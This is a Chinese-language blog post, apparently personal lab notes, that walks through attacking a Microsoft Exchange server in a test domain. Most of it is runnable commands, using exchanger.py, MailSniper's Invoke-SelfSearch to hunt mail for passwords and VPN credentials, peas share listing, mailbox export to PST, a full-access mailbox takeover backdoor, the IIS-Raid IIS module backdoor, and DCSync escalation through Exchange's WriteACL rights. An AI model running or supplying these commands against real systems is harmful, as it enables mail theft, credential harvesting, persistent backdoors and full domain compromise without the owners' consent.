python3 exchanger.py island.com/zhangsan:ZS@123qwe@192.168.123.123 nspi dump-tables -guid dd5c6c6e-f050-4fef-b91f-4ac4cb16d5cb

邮件导出

如果爆出了密码,直接 web 端访问 /OWA 登录查看。

如果获得了 hash,可以 pth 后 Invoke-SelfSearch 访问 /ews 查看:

1
2
3
4
5
6
7
# MailSniper.ps1
# 指定 lisi 的账密查询 lisi 的所有邮件
Invoke-SelfSearch -Folder all -Mailbox lisi@island.com -ExchHostname win2012-ex2016.island.com -MailsPerUser 500 -Terms "*password*","*creds*","*credentials*","*测试*","*密码*","*拓扑*","*运维*","*VPN*","*账号*" -OutputCsv lisi-email-search.csv -Remote -User island.com\lisi -Password LS@123qwe

# 用当前会话的默认凭证搜索 zhangsan 的所有邮件
# 配合 mimikatz 实现 pth 后搜索
Invoke-SelfSearch -Folder all -Mailbox zhangsan@island.com -ExchHostname win2012-ex2016.island.com -MailsPerUser 500 -Terms "*password*","*creds*","*credentials*","*测试*","*密码*","*拓扑*","*运维*","*VPN*","*账号*" -OutputCsv zhangsan-email-search.csv

相关工具


搜索共享文件

老版本 Exchange 支持查看域内文件共享,且支持移动端通过 /Microsoft-Server-ActiveSync 远程访问网络内部的共享文件。在 Exchange 2010 及其后续版本中,删除了 Outlook 的文件共享权限,但通过 /Microsoft-Server-ActiveSync 接口依然可以。

1
2
3
4
# UNC 路径仅支持主机名,不支持 IP 和 FQDN
python2 -m peas 192.168.123.123
python2 -m peas 192.168.123.123 -u island.com\zhangsan -p ZS@123qwe --check
python2 -m peas 192.168.123.123 -u island.com\zhangsan -p ZS@123qwe --list-unc="\\WIN2012-DC1"

在实战中,如果已经拿下域机器了,这个手法的使用意义不大。但是如果在域外,或者是直接攻击互联网上的 Exchange,这种手法不失为一种收集共享文件的方法,配合下面的方法收集域内所有主机名再查询共享文件效果更佳。

获取服务器权限后的渗透

Exchange服务器在内网中一般有WriteACL的高权限

服务器信息收集

使用命令行管理Exchange服务器

确定Exchange安装路径

1
echo %ExchangeInstallPath%

调用控制台文件执行一些操作

1
PowerShell.exe -PSConsoleFile "%ExchangeInstallPath%\\bin\exshell.ps1" -Command "Get-Mailbox -ResultSize unlimited"
1
2
3
4
5
# 查看所有邮箱信息,默认显示邮件数量、最后登录时间
Get-Mailbox -ResultSize unlimited | Get-MailboxStatistics

# 查看 zhangsan 的发件箱详情
Get-MessageTrackingLog -Start "01/11/2019 09:00:00" -Sender "zhangsan@island.com" -EventID SEND |Format-Table Timestamp,ClientIp,ClientHostname,EventId,Sender,Recipients,MessageSubject

邮件跟踪日志

可以提取收件人,发件人,邮件主题,发件ip等信息

位于%ExchangeInstallPath%\TransportRoles\Logs\MessageTracking\ 目录下

用户邮件导出

1
PowerShell.exe -PSConsoleFile "%ExchangeInstallPath%\\bin\exshell.ps1" -Command "New-MailboxExportRequest -Mailbox user -FilePath '\\localhost\c$\user.pst'"

邮箱接管后门种植

常用的访问其他用户邮箱的方式

  1. 添加impersonation(模拟),授予一个用户代表另一用户执行工作的权限,可以与/EWS接口结合,对目标邮箱操控
  2. 添加fullaccess(完全访问)权限授予一个用户对另一用户邮箱查看,添加和删除邮箱内容的权限,可以直接在/OWA接口操作,主要用于邮件分析

给test账户授予所有邮箱的完全访问权限,利用/OWA接口进行监控:

  1. 遍历用户(除了test)

    1
    PowerShell.exe -PSConsoleFile "%ExchangeInstallPath%\\bin\exshell.ps1" -Command "Get-Mailbox -ResultSize unlimited -Filter ((RecipientTypeDetails -eq 'UserMailbox') -and (Alias -ne 'test'))"
  2. 添加所有用户邮箱完全访问权限

    1
    PowerShell.exe -PSConsoleFile "%ExchangeInstallPath%\\bin\exshell.ps1" -Command "Get-Mailbox -ResultSize unlimited -Filter ((RecipientTypeDetails -eq 'UserMailbox') -and (Alias -ne 'test')) | Add=MailboxPermission -User test@hack-my.com -AccessRights full access -InheritanceType all -AutoMapping:$false"
  3. 利用test用户登录OWA

  4. 利用test已登录的凭据,可以直接访问其他邮箱用户

    (https://exchange.com/owa/administrator@hack-my.com)

IIS模块后门

添加本地模块注入后门程序

利用IIS-RAID(https://github.com/0x09AL/IIS-Raid)

具体使用教程:https://cloud.tencent.com/developer/article/2086475

在Exchange上加载后门,爆出证书信任错误需要在request发起请求时添加verify=False

1
C:\APPCMD.EXE install module /name test /image:"c:\IIS-Backdoor.dll" /add:true

连接后门

1
python3 iis_controller.py --url https://exchange.hack-my.com --password SIMPLEPASS

DCSYNC攻击

之前提到Exchange服务是有WriteACL权限的,可以对LDAP服务用户属性中添加DS-Replication-Get-Changes和DS-Replication-Get-Changes-All属性的值,添加sync权限代码

Exchange服务机器账户默认具备WriteACL权限,需要先获取机器凭据

具体操作:

  1. 利用mimikatz获取到服务器哈希值
  2. 通过LDAP查询到user1的SID
  3. 连接LDAP服务,添加DCSYNC需要的属性
  4. 利用impacket进行验证攻击

利用FRP获取域内主机控制权限

https://cloud.tencent.com/developer/article/1837482


内网学习
http://huang-d1.github.io/2026/04/20/内网/
作者
huangdi
发布于
2026年4月20日
许可协议